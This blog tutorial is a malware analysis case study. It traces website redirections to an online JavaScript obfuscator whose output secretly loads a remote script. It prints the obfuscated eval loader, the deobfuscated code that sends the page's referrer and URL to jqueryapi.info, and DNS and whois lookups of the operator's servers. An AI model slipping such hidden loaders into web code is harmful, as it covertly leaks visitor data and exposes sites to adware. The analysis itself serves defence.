FuzzySec
  • Home
  • Tutorials
  • Scripting
  • Exploits
  • Links
  • Patreon
  • Contact

  • Home »
  • Tutorials »
  • Game Over: Dolo Malo - JavaScript Adware Exposed

Game Over: Dolo Malo - JavaScript Adware Exposed

We consider the internet to be a free place without strict rules and restriction. This freedom allows us to rapidly prototype idea's, start up businesses and exchange knowledge with each other in ways not previously thought possible. This freedom, however, has a flip-side. Tech-savvy people, covering a wide range of technical ability, show a natural proclivity for duping unsuspecting people. These scams range from malicious to benign, from highly technical to barely functional.

In this post I will want to share a case study that I recently stumbled into, quite by accident. A friend of mine contacted me about experiencing occasional redirection on his website. As we will see, there was an unlikely culprit for the redirection. Not being an expert of the law, I can't say if this is technically illegal, but I think we will all be able to agree that it is pretty rude and shameless!

Links:
A comprehensive (albeit a bit old) resource on conditional redirection - Aw-Snap
JSDetox, Javascript malware analysis and deobfuscation - JSDetox


OMGWTF is going on?

This whole story started when a friend of mine notified me that users were occasionally being redirected (to adware/malware) on his website. This in itself was difficult to verify as the redirection seemed to happen infrequently and never more than once per session ID. Initially I suspected that the end user was to blame, having installed an evil browser plug-in or something similar. However, we were eventually able to replicate the redirection using an android browser (the User Agent may be a factor).

Having set aside my doubts I started recursively grepping the webroot for anything that could be suspicious. In addition to this I quickly put together a bash one-liner that would diff all the php files and js plugins of the current webroot with backup copies ("diff -bis ..." sanity checks FTW). I was sure something would turn up but ... nothing.

After getting some caffeine into my system I started furiously browsing the website with the android browser (and purging the browser cache for each request **sigh**). I noticed that not all pages were affected by the redirection. Upon closer inspection I noticed a blob of obfuscated javascript code (performing a legitimate function) on each of those pages. As it turns out my friend was using an online obfuscator to hide some inner workings of the javascript code.

Finally the real culprit was in sight, removing the obfuscated blob stopped the redirection. I helped my friend re-encode his javascript using Javascript Obfuscator (which is a great tool!) and update his web pages.

eval( )

At this point I had become curious and was no longer satisfied with merely solving the problem. I wanted to get to the bottom of this force of evil redirection. Let's see if we can figure this cowboy scheme out!

The bad guy: MyObfuscate

 

Looks Innocent Enough

 

 

 

 

 

 

 

 

For testing purposes I passed some very basic javascript to the obfuscator.

alert('Test!')

What we get back seems (1) disproportionally large to the input and (2) is obviously not in a human-readable format.

var lOO='=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczRXZnx3NywnclJnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZwF2YzV2X8xmc1xXawFWey
VWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd0hGf05WZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHTSVF
f0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1Wdj9GZ8RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDfyYDfw8UMfx3QzwHduVmbv
BXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc0N1b0xHc4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflNWYsBXZyxnbyVHdlJHfu9W
a0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHfnwiNy
EDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXMyw3TxwXUxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMywnWxwXWxwnVxwnUxw3Vxw3
UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxwnaxw3axwncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf8xHf8xHf8xHf8xHf8xHf8
xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFXcx3JcxFXoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8NTM8dTM8FWM8NWM8JWM8RW
M8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8lHf6xXQ8dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTXwsVKnwFXcxFXcxFbnwFXc
xFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJcxFXcxFXctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcxFXcxFXctWPz9zL35Scv8i
OodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcxFKi5SM9IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJnwFXcxFXcxVP2AyMnwFXc
hSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFXcxFXcx1JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgkEKN5Cc9A3ep01YbtGKOtX
Kt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXo0WMgoWMocWMuAXPwtXKd
N2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZxsXKoUWM9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811YbtWPdlyYoU2WktXKt0yYogW
M7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuMmOpAXMrMGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmOnw1Jc9TY8MGKmFzepMGKl
FTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3
ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJ
V2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';function I1I(data){var IlllOI
="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h
1=IlllOI.indexOf(data.charAt(i++));h2=IlllOI.indexOf(data.charAt(i++));h3=IlllOI.indexOf(data.charAt(i++));h4=Illl
OI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bit
s&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fr
omCharCode(o1,o2,o3)}}while(i<data.length);return enc} function Ill(string){ var ret = '', i = 0;	for ( i = 
string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(I1I(Ill(lOO)));

To analyse this code I used JSDetox. This tool is written in ruby, it supports HTML DOM emulation and, from the samples I tested, it is pretty proficient at deobfuscating javascript. Alternatively, if you need a portable Windows solution, you can also have a look at Malzilla. Malzilla is a bit on the older side but still has plenty of very useful features!

We can quickly prettify the code and rename the variables, mind you, this does not improve the readability very much!

function Var1(data){

  var Var2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, enc = '';
  
  do {
    h1 = Var2.indexOf(data.charAt(i++));
    h2 = Var2.indexOf(data.charAt(i++));
    h3 = Var2.indexOf(data.charAt(i++));
    h4 = Var2.indexOf(data.charAt(i++));
    bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
    o1 = bits >> 16 & 255;
    o2 = bits >> 8 & 255;
    o3 = bits & 255;
    if(h3 == 64) {
      enc += String.fromCharCode(o1);
    } else if(h4 == 64) {
      enc += String.fromCharCode(o1, o2);
    } else {
      enc += String.fromCharCode(o1, o2, o3);
    }
  } while(i < data.length);
  
  return enc;
}

function Var3(string){
  var ret = '', i = 0;
  for(i = string.length - 1; i >= 0; i--) {
    ret += string.charAt(i);
  }
  return ret;
}

eval(Var1(Var3('=oQKpkyJ8dCK0lGbwNnLnw3bm5Wa8NmczRXZnx3NywnclJnclZWZyxXZwF2YzVmb1xHZslGaDRmblBHchxXZwF2YzV2X8xmc1x
XawFWeyVWdxpGflRXaydHf4IDfmVmc8t2b8RnbJV2cyFGc8BHd0hGf05WZtVGbFVGdhVmcjxHdzVGV3IDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZ
nxHTSVFf0BXayN2cDNDf0JXZsFWRzwnchZHfFNDfPBDb8Rnbl1Wdj9GZ8RHcpJ3Yzx3MzwnN3wnNzwXZk92QyFGaD12byZGf1MDfyYDfw8UMfx3Qzw
HduVmbvBXbvNUSSVVZk92YuVGfjJ3c8ljM8dmbpJHdTx3Zulmc0N1b0xHc4V0ZlJFf0lGbwNHfsFmdlx3dl5GfmlGflxWaodHflNWYsBXZyxnbyVHd
lJHfu9Wa0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8x
HfnwiNyEDLyYDLnkSK9tHLwwSKnwFfnwFKsFjLnwVTxwHcxwXMyw3TxwXUxw3SxwnSxwnRxw3RxwHSxwXSxwHUxwHVxwHWxwHMywnWxwXWxwnVxwnU
xw3Vxw3UxwXVxwHTxwHbxwHaxwXZxwXaxw3ZxwnZxwnbxwXbxwnaxw3axwncxwXcxw3cxwHRxwXQxwHdxwnQxw3QxwXRxwnexwHf8xHf8xHf8xHf8x
Hf8xHf8xHf8xHf8xHf8xHf8xHf8dCXskXMsUXMscCXpkSKnwFXcx3JcxFXoElLnwFXcpFfwEDfxEDfyEDfZxHNxwHV8VFfWx3V8NTM8dTM8FWM8NWM
8JWM8RWM8hTM8lTM8VTM8ZTM8hFfSxHR8VEfGx3Q8NFfHxnQ8lHf6xXQ8dCXcxFL4xCescCXcx1OpkiNoAHKv5SM7kiMo4mL0sTXwsVKnwFXcxFXcx
FbnwFXcxFXcxFKt5SM9QDIzsTKy5SMoUzKnwFXcxFXcxVP1ZyJcxFXcxFXctSK25SMoUzKnwFXcxFXcxVP0ZyJcxFXcxFXctyJcxFXcxFXctWPz9zL
35Scv8iOodCXcxFXcxFX9gjLysTKnwFXcxFXcx1NnwFXcxFXcxFKi5SM9IDIzszJcxFXcxFXcFWJ38SOloWJjVSalcWJmVCZlUWJnwFXcxFXcxVP2A
yMnwFXchSfwBCT91XKdN2WrxSKnwFXcd2JcxFXscCXcxlYcxFXcxFXcx1JcxFXrkSYoskLjtyJcxFXixFXcxFXcxFXnwFXchiSgkEKN5Cc9A3ep01Y
btGKOtXKt0yYoA1epQGLlxyasMGLhxCco8EKIdCXo0HcgYWM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXo0WMgoWMocWMuA
XPwtXKdN2WrhSaxsXKt0yYogWM70XM9M2O9dCXrcHXcxFXnwlZxsXKoUWM9U2Od1XXltFZgYWM7lSZoUWMb1za9lyYoUGf811YbtWPdlyYoU2WktXK
t0yYogWM7lSKvFDLv41LocWMucCXnwVIokWM70XKpgXMo4WMuMmOpAXMrMGK3FjLvFzP2FjPpEWJj1zYogyKpkSKh9yYo4UMoUmOnw1Jc9TY8MGKmF
zepMGKlFTPltXKkxSZssGLjxSYsAHKlFDKrFzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZ
y5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9
yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ')));

Now we can get to the real magic! JSDetox can run the code and, in this case, breakpoints are placed on eval's to extract the decrypted code. Low and behold, one of the eval's reveals our original alert box and ... something else!

 

eval( )

 

 

 

 

 

 

 

 

Let's rename the variables and have a closer look at what is actually executed by the obfuscated javascript code.

// -=Generates evil URL=-
// encodeURIComponent: This function encodes special characters (including , / ? : @ & = + $ #).
// document.referrer = Returns the URI of the page that linked to this page.
// document.URL = Returns the string URL of the HTML document.
var EvilRequest = document.createElement('script');
EvilRequest.src = "http://jqueryapi.info/?getsrc=ok&ref=" + encodeURIComponent(document.referrer)
+ '&url=' + encodeURIComponent(document.URL);

// -=Injects URL=-
// HeaderEdit: Grabs the <head> element of the page.
// appendChild(EvilRequest): Appends the EvilRequest script element to <head> where it is automatically loaded.
var HeaderEdit = document.getElementsByTagName('head')[0];
HeaderEdit.appendChild(EvilRequest);

// -=Executes our initial code=-
// Finally document.write is used to execute the legitemate javascript (in this case "alert('Test!')").
document.write(unescape('%3Cscript%3Ealert%28%27Test%21%27%29%3C/script%3E'));

We can easily verify this by creating an html page that contains the obfuscated javascript, drop it on our local webserver and intercept the request with a proxy. We can see from the screenshots below that our "harmless" javascript is trying to phone home!

 

Burpsuite

Phone Home

 

 

 

 

 

 

 

 

But wait...

There is still one more chapter to this story. After deciphering the javascript I wanted to have a look at the "jqueryapi.info" domain. Though the whois information is mostly useless we can establish that the domain was set up recently.


root@darkside:~# whois jqueryapi.info |egrep 'Creation|Expiry|Registrant'

Creation Date: 2014-02-28T06:26:23Z
Registry Expiry Date: 2015-02-28T06:26:23Z
Registrant ID:CR162077161
Registrant Name:Registration Private
Registrant Organization:Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant City:Scottsdale
Registrant State/Province:Arizona
Registrant Postal Code:85260
Registrant Country:US
Registrant Phone:+1.4806242599
Registrant Phone Ext: 
Registrant Fax: +1.4806242598
Registrant Fax Ext: 
Registrant Email:JQUERYAPI.INFO@domainsbyproxy.com

 

Doing some quick enumeration we can actually see that the server hosting "jqueryapi.info" is located in Russia.


root@darkside:~# host -t any jqueryapi.info

jqueryapi.info has address 188.64.170.17
jqueryapi.info has SOA record ns73.domaincontrol.com. dns.jomax.net. 2014022702 28800 7200 604800 600
jqueryapi.info name server ns74.domaincontrol.com.
jqueryapi.info name server ns73.domaincontrol.com.

root@darkside:~# dig -x 188.64.170.17

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> -x 188.64.170.17
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16578
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;17.170.64.188.in-addr.arpa.    IN      PTR

;; ANSWER SECTION:
17.170.64.188.in-addr.arpa. 604800 IN   PTR     h1net188-64-170-17.h1host.ru.

;; Query time: 756 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Mon Jul  7 07:42:29 2014
;; MSG SIZE  rcvd: 86

 

The really interesting part came when I did a reverse IP lookup on the domain to find out which other websites are hosted on the same server. These results can be replicated at ViewDNS.


Reverse IP results for jqueryapi.info (188.64.170.17)
==============

There are 21 domains hosted on this server.
The complete listing of these is below:

Domain	                          Last Resolved Date
april-broker.com                  2013-12-20
htmlobfuscator.com                2014-05-17
htmlobfuscator.info               2014-07-01
javascript-obfuscator.info        2014-07-01
javascriptcompressor.info         2014-07-01
javascriptcrambler.com	          2014-05-17
javascriptobfuscate.com	          2014-05-17
javascriptobfuscator.info         2014-07-01
jqueryapi.info	                  2014-07-06
myobfuscate.com	                  2014-05-17
obfuscatorjavascript.com          2014-05-17
obfuscatorjavascript.info         2014-07-01
promebel21.ru	                  2014-05-27
screendepo.com	                  2014-05-17
softtrade.ru	                  2014-05-27
statistick.info	                  2014-07-01
statisticu.info	                  2014-07-01
statisticy.info	                  2014-07-01
statistiki.info	                  2014-07-01
statistiq.info	                  2014-07-01
statistiqa.info	                  2014-07-01

 

We should all be smiling and/or frowning at this point as there are some, obviously, suspect domains on that list. I had a quick look and all of the "obfuscate" domains are perfect clones. The finer points of this scam are pretty clear now! There are (1) domains that generate obfuscated code, this code seeds the adware process. Browsers that load the code make requests to (2) other domains, hosted on the same server, which act as a go-between to point the browser at adware/malware websites!

Game Over

We have come full circle with this case study. We went from detecting the redirection to understanding the delivery method of the attack and finally linking the adware back to obfuscator (even discovering additional infrastructure along the way). I think this is a typical example of the kind of mid-tier scams that are so prevalent on the internet.

For posterity I want to include the following links:
Wepawet analysis of the javascript code - here
Information gathered by VirusTotal on "jqueryapi.info" - here

 

 

© Copyright FuzzySecurity

Home | Tutorials | Scripting | Exploits | Links | Contact